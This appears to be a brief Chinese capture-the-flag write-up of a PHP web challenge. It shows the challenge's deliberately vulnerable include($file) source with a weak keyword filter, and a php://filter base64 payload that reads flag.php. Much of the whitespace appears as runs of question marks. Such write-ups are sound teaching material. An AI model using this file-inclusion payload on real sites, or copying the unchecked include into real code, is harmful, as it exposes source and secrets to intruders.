????????一进来看的蒋璐原的秘密，好的垃圾信息，下一个。
一看F12欸也没有提示，这是按全选看看有没有隐藏的入口，在屏幕下方找到
?
?刚进去立即就结束了，蒋璐原真快
????????????????????????????????????????拿出我们得burp工具进行抓包????????????????????????????????????????
????????????????????????????????????????反复尝试抓取中间action包?????????????????????????????????????????????
?
得到提示打开得到以下代码
????????<html>
????????????<title>secret</title>
????????? <meta?charset="UTF-8">
????????? <?php
????????????highlight_file(__FILE__);
????????????error_reporting(0);
????????????$file=$_GET['file'];
????????????if(strstr($file,"../")||stristr($file,?"tp")||stristr($file,"????????input")||stristr($file,"data")){
????????????????echo?"Oh?no!";
????????????????exit();
????????????}
????????????include($file);?
????????//flag放在了flag.php里
?????????>
看着file要满足这么多条件,又是文件包含,直接上上节课学习的文件读取.
???????????????????????? ?file=php://filter/convert.base64-encode/resource=flag.php???????????????????????
得到加密后的flag，解密即可得到flag（base64)
?
?
?
?